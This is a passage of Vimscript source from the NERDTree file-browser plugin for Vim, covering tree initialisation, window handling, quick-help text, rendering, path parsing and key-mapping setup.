toReturn = substitute(toReturn, '^.*:\(\\\|/\)\?', '/', "") + + "convert all \ chars to / + let toReturn = substitute(toReturn, '\', '/', "g") + + return toReturn +endfunction + +" SECTION: General Functions {{{1 +"============================================================ +"FUNCTION: s:bufInWindows(bnum){{{2 +"[[STOLEN FROM VTREEEXPLORER.VIM]] +"Determine the number of windows open to this buffer number. +"Care of Yegappan Lakshman. Thanks! +" +"Args: +"bnum: the subject buffers buffer number +function! s:bufInWindows(bnum) + let cnt = 0 + let winnum = 1 + while 1 + let bufnum = winbufnr(winnum) + if bufnum < 0 + break + endif + if bufnum ==# a:bnum + let cnt = cnt + 1 + endif + let winnum = winnum + 1 + endwhile + + return cnt +endfunction " >>> +"FUNCTION: s:checkForBrowse(dir) {{{2 +"inits a secondary nerd tree in the current buffer if appropriate +function! s:checkForBrowse(dir) + if a:dir != '' && isdirectory(a:dir) + call s:initNerdTreeInPlace(a:dir) + endif +endfunction +"FUNCTION: s:compareBookmarks(first, second) {{{2 +"Compares two bookmarks +function! s:compareBookmarks(first, second) + return a:first.compareTo(a:second) +endfunction + +" FUNCTION: s:completeBookmarks(A,L,P) {{{2 +" completion function for the bookmark commands +function! s:completeBookmarks(A,L,P) + return filter(s:Bookmark.BookmarkNames(), 'v:val =~# "^' . a:A . '"') +endfunction +" FUNCTION: s:exec(cmd) {{{2 +" same as :exec cmd but eventignore=all is set for the duration +function! s:exec(cmd) + let old_ei = &ei + set ei=all + exec a:cmd + let &ei = old_ei +endfunction +" FUNCTION: s:findAndRevealPath() {{{2 +function! s:findAndRevealPath() + try + let p = s:Path.New(expand("%:p")) + catch /^NERDTree.InvalidArgumentsError/ + call s:echo("no file for the current buffer") + return + endtry + + if !s:treeExistsForTab() + try + let cwd = s:Path.New(getcwd()) + catch /^NERDTree.InvalidArgumentsError/ + call s:echo("current directory does not exist.") + let cwd = p.getParent() + endtry + + if p.isUnder(cwd) + call s:initNerdTree(cwd.str()) + else + call s:initNerdTree(p.getParent().str()) + endif + else + if !p.isUnder(s:TreeFileNode.GetRootForTab().path) + call s:initNerdTree(p.getParent().str()) + else + if !s:isTreeOpen() + call s:toggle("") + endif + endif + endif + call s:putCursorInTreeWin() + call b:NERDTreeRoot.reveal(p) +endfunction +"FUNCTION: s:initNerdTree(name) {{{2 +"Initialise the nerd tree for this tab. The tree will start in either the +"given directory, or the directory associated with the given bookmark +" +"Args: +"name: the name of a bookmark or a directory +function! s:initNerdTree(name) + let path = {} + if s:Bookmark.BookmarkExistsFor(a:name) + let path = s:Bookmark.BookmarkFor(a:name).path + else + let dir = a:name ==# '' ? getcwd() : a:name + + "hack to get an absolute path if a relative path is given + if dir =~# '^\.' + let dir = getcwd() . s:Path.Slash() . dir + endif + let dir = resolve(dir) + + try + let path = s:Path.New(dir) + catch /^NERDTree.InvalidArgumentsError/ + call s:echo("No bookmark or directory found for: " . a:name) + return + endtry + endif + if !path.isDirectory + let path = path.getParent() + endif + + "if instructed to, then change the vim CWD to the dir the NERDTree is + "inited in + if g:NERDTreeChDirMode != 0 + call path.changeToDir() + endif + + if s:treeExistsForTab() + if s:isTreeOpen() + call s:closeTree() + endif + unlet t:NERDTreeBufName + endif + + let newRoot = s:TreeDirNode.New(path) + call newRoot.open() + + call s:createTreeWin() + let b:treeShowHelp = 0 + let b:NERDTreeIgnoreEnabled = 1 + let b:NERDTreeShowFiles = g:NERDTreeShowFiles + let b:NERDTreeShowHidden = g:NERDTreeShowHidden + let b:NERDTreeShowBookmarks = g:NERDTreeShowBookmarks + let b:NERDTreeRoot = newRoot + + let b:NERDTreeType = "primary" + + call s:renderView() + call b:NERDTreeRoot.putCursorHere(0, 0) +endfunction + +"FUNCTION: s:initNerdTreeInPlace(dir) {{{2 +function! s:initNerdTreeInPlace(dir) + try + let path = s:Path.New(a:dir) + catch /^NERDTree.InvalidArgumentsError/ + call s:echo("Invalid directory name:" . a:name) + return + endtry + + "we want the directory buffer to disappear when we do the :edit below + setlocal bufhidden=wipe + + let previousBuf = expand("#") + + "we need a unique name for each secondary tree buffer to ensure they are + "all independent + exec "silent edit " . s:nextBufferName() + + let b:NERDTreePreviousBuf = bufnr(previousBuf) + + let b:NERDTreeRoot = s:TreeDirNode.New(path) + call b:NERDTreeRoot.open() + + call s:setCommonBufOptions() + let b:NERDTreeType = "secondary" + + call s:renderView() +endfunction +" FUNCTION: s:initNerdTreeMirror() {{{2 +function! s:initNerdTreeMirror() + + "get the names off all the nerd tree buffers + let treeBufNames = [] + for i in range(1, tabpagenr("$")) + let nextName = s:tabpagevar(i, 'NERDTreeBufName') + if nextName != -1 && (!exists("t:NERDTreeBufName") || nextName != t:NERDTreeBufName) + call add(treeBufNames, nextName) + endif + endfor + let treeBufNames = s:unique(treeBufNames) + + "map the option names (that the user will be prompted with) to the nerd + "tree buffer names + let options = {} + let i = 0 + while i < len(treeBufNames) + let bufName = treeBufNames[i] + let treeRoot = getbufvar(bufName, "NERDTreeRoot") + let options[i+1 . '. ' . treeRoot.path.str() . ' (buf name: ' . bufName . ')'] = bufName + let i = i + 1 + endwhile + + "work out which tree to mirror, if there is more than 1 then ask the user + let bufferName = '' + if len(keys(options)) > 1 + let choices = ["Choose a tree to mirror"] + let choices = extend(choices, sort(keys(options))) + let choice = inputlist(choices) + if choice < 1 || choice > len(options) || choice ==# '' + return + endif + + let bufferName = options[sort(keys(options))[choice-1]] + elseif len(keys(options)) ==# 1 + let bufferName = values(options)[0] + else + call s:echo("No trees to mirror") + return + endif + + if s:treeExistsForTab() && s:isTreeOpen() + call s:closeTree() + endif + + let t:NERDTreeBufName = bufferName + call s:createTreeWin() + exec 'buffer ' . bufferName + if !&hidden + call s:renderView() + endif +endfunction +" FUNCTION: s:nextBufferName() {{{2 +" returns the buffer name for the next nerd tree +function! s:nextBufferName() + let name = s:NERDTreeBufName . s:next_buffer_number + let s:next_buffer_number += 1 + return name +endfunction +" FUNCTION: s:tabpagevar(tabnr, var) {{{2 +function! s:tabpagevar(tabnr, var) + let currentTab = tabpagenr() + let old_ei = &ei + set ei=all + + exec "tabnext " . a:tabnr + let v = -1 + if exists('t:' . a:var) + exec 'let v = t:' . a:var + endif + exec "tabnext " . currentTab + + let &ei = old_ei + + return v +endfunction +" Function: s:treeExistsForBuffer() {{{2 +" Returns 1 if a nerd tree root exists in the current buffer +function! s:treeExistsForBuf() + return exists("b:NERDTreeRoot") +endfunction +" Function: s:treeExistsForTab() {{{2 +" Returns 1 if a nerd tree root exists in the current tab +function! s:treeExistsForTab() + return exists("t:NERDTreeBufName") +endfunction +" Function: s:unique(list) {{{2 +" returns a:list without duplicates +function! s:unique(list) + let uniqlist = [] + for elem in a:list + if index(uniqlist, elem) ==# -1 + let uniqlist += [elem] + endif + endfor + return uniqlist +endfunction +" SECTION: Public API {{{1 +"============================================================ +let g:NERDTreePath = s:Path +let g:NERDTreeDirNode = s:TreeDirNode +let g:NERDTreeFileNode = s:TreeFileNode +let g:NERDTreeBookmark = s:Bookmark + +function! NERDTreeAddMenuItem(options) + call s:MenuItem.Create(a:options) +endfunction + +function! NERDTreeAddMenuSeparator(...) + let opts = a:0 ? a:1 : {} + call s:MenuItem.CreateSeparator(opts) +endfunction + +function! NERDTreeAddSubmenu(options) + return s:MenuItem.Create(a:options) +endfunction + +function! NERDTreeAddKeyMap(options) + call s:KeyMap.Create(a:options) +endfunction + +function! NERDTreeRender() + call s:renderView() +endfunction + +" SECTION: View Functions {{{1 +"============================================================ +"FUNCTION: s:centerView() {{{2 +"centers the nerd tree window around the cursor (provided the nerd tree +"options permit) +function! s:centerView() + if g:NERDTreeAutoCenter + let current_line = winline() + let lines_to_top = current_line + let lines_to_bottom = winheight(s:getTreeWinNum()) - current_line + if lines_to_top < g:NERDTreeAutoCenterThreshold || lines_to_bottom < g:NERDTreeAutoCenterThreshold + normal! zz + endif + endif +endfunction +"FUNCTION: s:closeTree() {{{2 +"Closes the primary NERD tree window for this tab +function! s:closeTree() + if !s:isTreeOpen() + throw "NERDTree.NoTreeFoundError: no NERDTree is open" + endif + + if winnr("$") != 1 + if winnr() == s:getTreeWinNum() + wincmd p + let bufnr = bufnr("") + wincmd p + else + let bufnr = bufnr("") + endif + + call s:exec(s:getTreeWinNum() . " wincmd w") + close + call s:exec(bufwinnr(bufnr) . " wincmd w") + else + close + endif +endfunction + +"FUNCTION: s:closeTreeIfOpen() {{{2 +"Closes the NERD tree window if it is open +function! s:closeTreeIfOpen() + if s:isTreeOpen() + call s:closeTree() + endif +endfunction +"FUNCTION: s:closeTreeIfQuitOnOpen() {{{2 +"Closes the NERD tree window if the close on open option is set +function! s:closeTreeIfQuitOnOpen() + if g:NERDTreeQuitOnOpen && s:isTreeOpen() + call s:closeTree() + endif +endfunction +"FUNCTION: s:createTreeWin() {{{2 +"Inits the NERD tree window. ie. opens it, sizes it, sets all the local +"options etc +function! s:createTreeWin() + "create the nerd tree window + let splitLocation = g:NERDTreeWinPos ==# "left" ? "topleft " : "botright " + let splitSize = g:NERDTreeWinSize + + if !exists('t:NERDTreeBufName') + let t:NERDTreeBufName = s:nextBufferName() + silent! exec splitLocation . 'vertical ' . splitSize . ' new' + silent! exec "edit " . t:NERDTreeBufName + else + silent! exec splitLocation . 'vertical ' . splitSize . ' split' + silent! exec "buffer " . t:NERDTreeBufName + endif + + setlocal winfixwidth + call s:setCommonBufOptions() +endfunction + +"FUNCTION: s:dumpHelp {{{2 +"prints out the quick help +function! s:dumpHelp() + let old_h = @h + if b:treeShowHelp ==# 1 + let @h= "\" NERD tree (" . s:NERD_tree_version . ") quickhelp~\n" + let @h=@h."\" ============================\n" + let @h=@h."\" File node mappings~\n" + let @h=@h."\" ". (g:NERDTreeMouseMode ==# 3 ? "single" : "double") ."-click,\n" + let @h=@h."\" ,\n" + if b:NERDTreeType ==# "primary" + let @h=@h."\" ". g:NERDTreeMapActivateNode .": open in prev window\n" + else + let @h=@h."\" ". g:NERDTreeMapActivateNode .": open in current window\n" + endif + if b:NERDTreeType ==# "primary" + let @h=@h."\" ". g:NERDTreeMapPreview .": preview\n" + endif + let @h=@h."\" ". g:NERDTreeMapOpenInTab.": open in new tab\n" + let @h=@h."\" ". g:NERDTreeMapOpenInTabSilent .": open in new tab silently\n" + let @h=@h."\" middle-click,\n" + let @h=@h."\" ". g:NERDTreeMapOpenSplit .": open split\n" + let @h=@h."\" ". g:NERDTreeMapPreviewSplit .": preview split\n" + let @h=@h."\" ". g:NERDTreeMapOpenVSplit .": open vsplit\n" + let @h=@h."\" ". g:NERDTreeMapPreviewVSplit .": preview vsplit\n" + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Directory node mappings~\n" + let @h=@h."\" ". (g:NERDTreeMouseMode ==# 1 ? "double" : "single") ."-click,\n" + let @h=@h."\" ". g:NERDTreeMapActivateNode .": open & close node\n" + let @h=@h."\" ". g:NERDTreeMapOpenRecursively .": recursively open node\n" + let @h=@h."\" ". g:NERDTreeMapCloseDir .": close parent of node\n" + let @h=@h."\" ". g:NERDTreeMapCloseChildren .": close all child nodes of\n" + let @h=@h."\" current node recursively\n" + let @h=@h."\" middle-click,\n" + let @h=@h."\" ". g:NERDTreeMapOpenExpl.": explore selected dir\n" + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Bookmark table mappings~\n" + let @h=@h."\" double-click,\n" + let @h=@h."\" ". g:NERDTreeMapActivateNode .": open bookmark\n" + let @h=@h."\" ". g:NERDTreeMapOpenInTab.": open in new tab\n" + let @h=@h."\" ". g:NERDTreeMapOpenInTabSilent .": open in new tab silently\n" + let @h=@h."\" ". g:NERDTreeMapDeleteBookmark .": delete bookmark\n" + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Tree navigation mappings~\n" + let @h=@h."\" ". g:NERDTreeMapJumpRoot .": go to root\n" + let @h=@h."\" ". g:NERDTreeMapJumpParent .": go to parent\n" + let @h=@h."\" ". g:NERDTreeMapJumpFirstChild .": go to first child\n" + let @h=@h."\" ". g:NERDTreeMapJumpLastChild .": go to last child\n" + let @h=@h."\" ". g:NERDTreeMapJumpNextSibling .": go to next sibling\n" + let @h=@h."\" ". g:NERDTreeMapJumpPrevSibling .": go to prev sibling\n" + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Filesystem mappings~\n" + let @h=@h."\" ". g:NERDTreeMapChangeRoot .": change tree root to the\n" + let @h=@h."\" selected dir\n" + let @h=@h."\" ". g:NERDTreeMapUpdir .": move tree root up a dir\n" + let @h=@h."\" ". g:NERDTreeMapUpdirKeepOpen .": move tree root up a dir\n" + let @h=@h."\" but leave old root open\n" + let @h=@h."\" ". g:NERDTreeMapRefresh .": refresh cursor dir\n" + let @h=@h."\" ". g:NERDTreeMapRefreshRoot .": refresh current root\n" + let @h=@h."\" ". g:NERDTreeMapMenu .": Show menu\n" + let @h=@h."\" ". g:NERDTreeMapChdir .":change the CWD to the\n" + let @h=@h."\" selected dir\n" + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Tree filtering mappings~\n" + let @h=@h."\" ". g:NERDTreeMapToggleHidden .": hidden files (" . (b:NERDTreeShowHidden ? "on" : "off") . ")\n" + let @h=@h."\" ". g:NERDTreeMapToggleFilters .": file filters (" . (b:NERDTreeIgnoreEnabled ? "on" : "off") . ")\n" + let @h=@h."\" ". g:NERDTreeMapToggleFiles .": files (" . (b:NERDTreeShowFiles ? "on" : "off") . ")\n" + let @h=@h."\" ". g:NERDTreeMapToggleBookmarks .": bookmarks (" . (b:NERDTreeShowBookmarks ? "on" : "off") . ")\n" + + "add quickhelp entries for each custom key map + if len(s:KeyMap.All()) + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Custom mappings~\n" + for i in s:KeyMap.All() + let @h=@h."\" ". i.key .": ". i.quickhelpText ."\n" + endfor + endif + + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Other mappings~\n" + let @h=@h."\" ". g:NERDTreeMapQuit .": Close the NERDTree window\n" + let @h=@h."\" ". g:NERDTreeMapToggleZoom .": Zoom (maximize-minimize)\n" + let @h=@h."\" the NERDTree window\n" + let @h=@h."\" ". g:NERDTreeMapHelp .": toggle help\n" + let @h=@h."\"\n\" ----------------------------\n" + let @h=@h."\" Bookmark commands~\n" + let @h=@h."\" :Bookmark \n" + let @h=@h."\" :BookmarkToRoot \n" + let @h=@h."\" :RevealBookmark \n" + let @h=@h."\" :OpenBookmark \n" + let @h=@h."\" :ClearBookmarks []\n" + let @h=@h."\" :ClearAllBookmarks\n" + silent! put h + elseif g:NERDTreeMinimalUI == 0 + let @h="\" Press ". g:NERDTreeMapHelp ." for help\n" + silent! put h + endif + + let @h = old_h +endfunction +"FUNCTION: s:echo {{{2 +"A wrapper for :echo. Appends 'NERDTree:' on the front of all messages +" +"Args: +"msg: the message to echo +function! s:echo(msg) + redraw + echomsg "NERDTree: " . a:msg +endfunction +"FUNCTION: s:echoWarning {{{2 +"Wrapper for s:echo, sets the message type to warningmsg for this message +"Args: +"msg: the message to echo +function! s:echoWarning(msg) + echohl warningmsg + call s:echo(a:msg) + echohl normal +endfunction +"FUNCTION: s:echoError {{{2 +"Wrapper for s:echo, sets the message type to errormsg for this message +"Args: +"msg: the message to echo +function! s:echoError(msg) + echohl errormsg + call s:echo(a:msg) + echohl normal +endfunction +"FUNCTION: s:firstUsableWindow(){{{2 +"find the window number of the first normal window +function! s:firstUsableWindow() + let i = 1 + while i <= winnr("$") + let bnum = winbufnr(i) + if bnum != -1 && getbufvar(bnum, '&buftype') ==# '' + \ && !getwinvar(i, '&previewwindow') + \ && (!getbufvar(bnum, '&modified') || &hidden) + return i + endif + + let i += 1 + endwhile + return -1 +endfunction +"FUNCTION: s:getPath(ln) {{{2 +"Gets the full path to the node that is rendered on the given line number +" +"Args: +"ln: the line number to get the path for +" +"Return: +"A path if a node was selected, {} if nothing is selected. +"If the 'up a dir' line was selected then the path to the parent of the +"current root is returned +function! s:getPath(ln) + let line = getline(a:ln) + + let rootLine = s:TreeFileNode.GetRootLineNum() + + "check to see if we have the root node + if a:ln == rootLine + return b:NERDTreeRoot.path + endif + + if !g:NERDTreeDirArrows + " in case called from outside the tree + if line !~# '^ *[|`▸▾ ]' || line =~# '^$' + return {} + endif + endif + + if line ==# s:tree_up_dir_line + return b:NERDTreeRoot.path.getParent() + endif + + let indent = s:indentLevelFor(line) + + "remove the tree parts and the leading space + let curFile = s:stripMarkupFromLine(line, 0) + + let wasdir = 0 + if curFile =~# '/$' + let wasdir = 1 + let curFile = substitute(curFile, '/\?$', '/', "") + endif + + let dir = "" + let lnum = a:ln + while lnum > 0 + let lnum = lnum - 1 + let curLine = getline(lnum) + let curLineStripped = s:stripMarkupFromLine(curLine, 1) + + "have we reached the top of the tree? + if lnum == rootLine + let dir = b:NERDTreeRoot.path.str({'format': 'UI'}) . dir + break + endif + if curLineStripped =~# '/$' + let lpindent = s:indentLevelFor(curLine) + if lpindent < indent + let indent = indent - 1 + + let dir = substitute (curLineStripped,'^\\', "", "") . dir + continue + endif + endif + endwhile + let curFile = b:NERDTreeRoot.path.drive . dir . curFile + let toReturn = s:Path.New(curFile) + return toReturn +endfunction + +"FUNCTION: s:getTreeWinNum() {{{2 +"gets the nerd tree window number for this tab +function! s:getTreeWinNum() + if exists("t:NERDTreeBufName") + return bufwinnr(t:NERDTreeBufName) + else + return -1 + endif +endfunction +"FUNCTION: s:indentLevelFor(line) {{{2 +function! s:indentLevelFor(line) + let level = match(a:line, '[^ \-+~▸▾`|]') / s:tree_wid + " check if line includes arrows + if match(a:line, '[▸▾]') > -1 + " decrement level as arrow uses 3 ascii chars + let level = level - 1 + endif + return level +endfunction +"FUNCTION: s:isTreeOpen() {{{2 +function! s:isTreeOpen() + return s:getTreeWinNum() != -1 +endfunction +"FUNCTION: s:isWindowUsable(winnumber) {{{2 +"Returns 0 if opening a file from the tree in the given window requires it to +"be split, 1 otherwise +" +"Args: +"winnumber: the number of the window in question +function! s:isWindowUsable(winnumber) + "gotta split if theres only one window (i.e. the NERD tree) + if winnr("$") ==# 1 + return 0 + endif + + let oldwinnr = winnr() + call s:exec(a:winnumber . "wincmd p") + let specialWindow = getbufvar("%", '&buftype') != '' || getwinvar('%', '&previewwindow') + let modified = &modified + call s:exec(oldwinnr . "wincmd p") + + "if its a special window e.g. quickfix or another explorer plugin then we + "have to split + if specialWindow + return 0 + endif + + if &hidden + return 1 + endif + + return !modified || s:bufInWindows(winbufnr(a:winnumber)) >= 2 +endfunction + +" FUNCTION: s:jumpToChild(direction) {{{2 +" Args: +" direction: 0 if going to first child, 1 if going to last +function! s:jumpToChild(direction) + let currentNode = s:TreeFileNode.GetSelected() + if currentNode ==# {} || currentNode.isRoot() + call s:echo("cannot jump to " . (a:direction ? "last" : "first") . " child") + return + end + let dirNode = currentNode.parent + let childNodes = dirNode.getVisibleChildren() + + let targetNode = childNodes[0] + if a:direction + let targetNode = childNodes[len(childNodes) - 1] + endif + + if targetNode.equals(currentNode) + let siblingDir = currentNode.parent.findOpenDirSiblingWithVisibleChildren(a:direction) + if siblingDir != {} + let indx = a:direction ? siblingDir.getVisibleChildCount()-1 : 0 + let targetNode = siblingDir.getChildByIndex(indx, 1) + endif + endif + + call targetNode.putCursorHere(1, 0) + + call s:centerView() +endfunction + + +"FUNCTION: s:promptToDelBuffer(bufnum, msg){{{2 +"prints out the given msg and, if the user responds by pushing 'y' then the +"buffer with the given bufnum is deleted +" +"Args: +"bufnum: the buffer that may be deleted +"msg: a message that will be echoed to the user asking them if they wish to +" del the buffer +function! s:promptToDelBuffer(bufnum, msg) + echo a:msg + if nr2char(getchar()) ==# 'y' + exec "silent bdelete! " . a:bufnum + endif +endfunction + +"FUNCTION: s:putCursorOnBookmarkTable(){{{2 +"Places the cursor at the top of the bookmarks table +function! s:putCursorOnBookmarkTable() + if !b:NERDTreeShowBookmarks + throw "NERDTree.IllegalOperationError: cant find bookmark table, bookmarks arent active" + endif + + if g:NERDTreeMinimalUI + return cursor(1, 2) + endif + + let rootNodeLine = s:TreeFileNode.GetRootLineNum() + + let line = 1 + while getline(line) !~# '^>-\+Bookmarks-\+$' + let line = line + 1 + if line >= rootNodeLine + throw "NERDTree.BookmarkTableNotFoundError: didnt find the bookmarks table" + endif + endwhile + call cursor(line, 2) +endfunction + +"FUNCTION: s:putCursorInTreeWin(){{{2 +"Places the cursor in the nerd tree window +function! s:putCursorInTreeWin() + if !s:isTreeOpen() + throw "NERDTree.InvalidOperationError: cant put cursor in NERD tree window, no window exists" + endif + + call s:exec(s:getTreeWinNum() . "wincmd w") +endfunction + +"FUNCTION: s:renderBookmarks {{{2 +function! s:renderBookmarks() + + if g:NERDTreeMinimalUI == 0 + call setline(line(".")+1, ">----------Bookmarks----------") + call cursor(line(".")+1, col(".")) + endif + + for i in s:Bookmark.Bookmarks() + call setline(line(".")+1, i.str()) + call cursor(line(".")+1, col(".")) + endfor + + call setline(line(".")+1, '') + call cursor(line(".")+1, col(".")) +endfunction +"FUNCTION: s:renderView {{{2 +"The entry function for rendering the tree +function! s:renderView() + setlocal modifiable + + "remember the top line of the buffer and the current line so we can + "restore the view exactly how it was + let curLine = line(".") + let curCol = col(".") + let topLine = line("w0") + + "delete all lines in the buffer (being careful not to clobber a register) + silent 1,$delete _ + + call s:dumpHelp() + + "delete the blank line before the help and add one after it + if g:NERDTreeMinimalUI == 0 + call setline(line(".")+1, "") + call cursor(line(".")+1, col(".")) + endif + + if b:NERDTreeShowBookmarks + call s:renderBookmarks() + endif + + "add the 'up a dir' line + if !g:NERDTreeMinimalUI + call setline(line(".")+1, s:tree_up_dir_line) + call cursor(line(".")+1, col(".")) + endif + + "draw the header line + let header = b:NERDTreeRoot.path.str({'format': 'UI', 'truncateTo': winwidth(0)}) + call setline(line(".")+1, header) + call cursor(line(".")+1, col(".")) + + "draw the tree + let old_o = @o + let @o = b:NERDTreeRoot.renderToString() + silent put o + let @o = old_o + + "delete the blank line at the top of the buffer + silent 1,1delete _ + + "restore the view + let old_scrolloff=&scrolloff + let &scrolloff=0 + call cursor(topLine, 1) + normal! zt + call cursor(curLine, curCol) + let &scrolloff = old_scrolloff + + setlocal nomodifiable +endfunction + +"FUNCTION: s:renderViewSavingPosition {{{2 +"Renders the tree and ensures the cursor stays on the current node or the +"current nodes parent if it is no longer available upon re-rendering +function! s:renderViewSavingPosition() + let currentNode = s:TreeFileNode.GetSelected() + + "go up the tree till we find a node that will be visible or till we run + "out of nodes + while currentNode != {} && !currentNode.isVisible() && !currentNode.isRoot() + let currentNode = currentNode.parent + endwhile + + call s:renderView() + + if currentNode != {} + call currentNode.putCursorHere(0, 0) + endif +endfunction +"FUNCTION: s:restoreScreenState() {{{2 +" +"Sets the screen state back to what it was when s:saveScreenState was last +"called. +" +"Assumes the cursor is in the NERDTree window +function! s:restoreScreenState() + if !exists("b:NERDTreeOldTopLine") || !exists("b:NERDTreeOldPos") || !exists("b:NERDTreeOldWindowSize") + return + endif + exec("silent vertical resize ".b:NERDTreeOldWindowSize) + + let old_scrolloff=&scrolloff + let &scrolloff=0 + call cursor(b:NERDTreeOldTopLine, 0) + normal! zt + call setpos(".", b:NERDTreeOldPos) + let &scrolloff=old_scrolloff +endfunction + +"FUNCTION: s:saveScreenState() {{{2 +"Saves the current cursor position in the current buffer and the window +"scroll position +function! s:saveScreenState() + let win = winnr() + try + call s:putCursorInTreeWin() + let b:NERDTreeOldPos = getpos(".") + let b:NERDTreeOldTopLine = line("w0") + let b:NERDTreeOldWindowSize = winwidth("") + call s:exec(win . "wincmd w") + catch /^NERDTree.InvalidOperationError/ + endtry +endfunction + +"FUNCTION: s:setCommonBufOptions() {{{2 +function! s:setCommonBufOptions() + "throwaway buffer options + setlocal noswapfile + setlocal buftype=nofile + setlocal bufhidden=hide + setlocal nowrap + setlocal foldcolumn=0 + setlocal nobuflisted + setlocal nospell + if g:NERDTreeShowLineNumbers + setlocal nu + else + setlocal nonu + if v:version >= 703 + setlocal nornu + endif + endif + + iabc + + if g:NERDTreeHighlightCursorline + setlocal cursorline + endif + + call s:setupStatusline() + + + let b:treeShowHelp = 0 + let b:NERDTreeIgnoreEnabled = 1 + let b:NERDTreeShowFiles = g:NERDTreeShowFiles + let b:NERDTreeShowHidden = g:NERDTreeShowHidden + let b:NERDTreeShowBookmarks = g:NERDTreeShowBookmarks + setfiletype nerdtree + call s:bindMappings() +endfunction + +"FUNCTION: s:setupStatusline() {{{2 +function! s:setupStatusline() + if g:NERDTreeStatusline != -1 + let &l:statusline = g:NERDTreeStatusline + endif +endfunction +"FUNCTION: s:stripMarkupFromLine(line, removeLeadingSpaces){{{2 +"returns the given line with all the tree parts stripped off +" +"Args: +"line: the subject line +"removeLeadingSpaces: 1 if leading spaces are to be removed (leading spaces = +"any spaces before the actual text of the node) +function! s:stripMarkupFromLine(line, removeLeadingSpaces) + let line = a:line + "remove the tree parts and the leading space + let line = substitute (line, s:tree_markup_reg,"","") + + "strip off any read only flag + let line = substitute (line, ' \[RO\]', "","") + + "strip off any bookmark flags + let line = substitute (line, ' {[^}]*}', "","") + + "strip off any executable flags + let line = substitute (line, '*\ze\($\| \)', "","") + + let wasdir = 0 + if line =~# '/$' + let wasdir = 1 + endif + let line = substitute (line,' -> .*',"","") " remove link to + if wasdir ==# 1 + let line = substitute (line, '/\?$', '/', "") + endif + + if a:removeLeadingSpaces + let line = substitute (line, '^ *', '', '') + endif + + return line +endfunction + +"FUNCTION: s:toggle(dir) {{{2 +"Toggles the NERD tree. I.e the NERD tree is open, it is closed, if it is +"closed it is restored or initialized (if it doesnt exist) +" +"Args: +"dir: the full path for the root node (is only used if the NERD tree is being +"initialized. +function! s:toggle(dir) + if s:treeExistsForTab() + if !s:isTreeOpen() + call s:createTreeWin() + if !&hidden + call s:renderView() + endif + call s:restoreScreenState() + else + call s:closeTree() + endif + else + call s:initNerdTree(a:dir) + endif +endfunction +"SECTION: Interface bindings {{{1 +"============================================================ +"FUNCTION: s:activateNode(forceKeepWindowOpen) {{{2 +"If the current node is a file, open it in the previous window (or a new one +"if the previous is modified). If it is a directory then it is opened. +" +"args: +"forceKeepWindowOpen - dont close the window even if NERDTreeQuitOnOpen is set +function! s:activateNode(forceKeepWindowOpen) + if getline(".") ==# s:tree_up_dir_line + return s:upDir(0) + endif + + let treenode = s:TreeFileNode.GetSelected() + if treenode != {} + call treenode.activate(a:forceKeepWindowOpen) + else + let bookmark = s:Bookmark.GetSelected() + if !empty(bookmark) + call bookmark.activate() + endif + endif +endfunction + +"FUNCTION: s:bindMappings() {{{2 +function! s:bindMappings() + " set up mappings and commands for this buffer + nnoremap :call handleMiddleMouse() + nnoremap :call checkForActivate() + nnoremap <2-leftmouse> :call activateNode(0) + + exec "nnoremap ". g:NERDTreeMapActivateNode . " :call activateNode(0)" + exec "nnoremap ". g:NERDTreeMapOpenSplit ." :call openEntrySplit(0,0)" + exec "nnoremap :call activateNode(0)" + + exec "nnoremap ". g:NERDTreeMapPreview ." :call previewNode(0)" + exec "nnoremap ". g:NERDTreeMapPreviewSplit ." :call previewNode(1)" + + exec "nnoremap ". g:NERDTreeMapOpenVSplit ." :call openEntrySplit(1,0)" + exec "nnoremap ". g:NERDTreeMapPreviewVSplit ." :call previewNode(2)" + + exec "nnoremap ". g:NERDTreeMapOpenRecursively ." :call openNodeRecursively()" + + exec "nnoremap ". g:NERDTreeMapUpdirKeepOpen ." :call upDir(1)" + exec "nnoremap ". g:NERDTreeMapUpdir ." :call upDir(0)" + exec "nnoremap ". g:NERDTreeMapChangeRoot ." :call chRoot()" + + exec "nnoremap ". g:NERDTreeMapChdir ." :call chCwd()" + + exec "nnoremap ". g:NERDTreeMapQuit ." :call closeTreeWindow()" + + exec "nnoremap ". g:NERDTreeMapRefreshRoot ." :call refreshRoot()" + exec "nnoremap ". g:NERDTreeMapRefresh ." :call refreshCurrent()" + + exec "nnoremap ". g:NERDTreeMapHelp ." :call displayHelp()" + exec "nnoremap ". g:NERDTreeMapToggleZoom ." :call toggleZoom()" + exec "nnoremap ". g:NERDTreeMapToggleHidden ." :call toggleShowHidden()" + exec "nnoremap ". g:NERDTreeMapToggleFilters ." :call toggleIgnoreFilter()" + exec "nnoremap ". g:NERDTreeMapToggleFiles ." :call toggleShowFiles()" + exec "nnoremap ". g:NERDTreeMapToggleBookmarks ." :call toggleShowBookmarks()" + + exec "nnoremap ". g:NERDTreeMapCloseDir ." :call closeCurrentDir()" + exec "nnoremap ". g:NERDTreeMapCloseChildren ." :call closeChildren()" + + exec "nnoremap ". g:NERDTreeMapMenu ." :call showMenu()" + + exec "nnoremap ". g:NERDTreeMapJumpParent ." :call jumpToParent()" + exec "nnoremap ". g:NERDTreeMapJumpNextSibling ." :call jumpToSibling(1)" + exec "nnoremap ". g:NERDTreeMapJumpPrevSibling ." :call jumpToSibling(0)" + exec "nnoremap ". g:NERDTreeMapJumpFirstChild ." :call jumpToFirstChild()" + exec "nnoremap ". g:NERDTreeMapJumpLastChild ." :call jumpToLastChild()" + exec "nnoremap ". g:NERDTreeMapJumpRoot ." :call jumpToRoot()" + + exec "nnoremap ". g:NERDTreeMapOpenInTab ." :call openInNewTab(0)" + exec "nnoremap ". g:NERDTreeMapOpenInTabSilent ." :call openInNewTab(1)" + + exec "nnoremap ". g:NERDTreeMapOpenExpl ." :call openExplorer()" + + exec "nnoremap ". g:NERDTreeMapDeleteBookmark ." :call deleteBookmark()" + + "bind all the user custom maps + call s:KeyMap.BindAll() + + command! -buffer -nargs=? Bookmark :call bookmarkNode('') + command! -buffer -complete=customlist,s:completeBookmarks -nargs=1 RevealBookmark :call revealBookmark('') + command! -buffer -complete=customlist,s:completeBookmarks -nargs=1 OpenBookmark :call 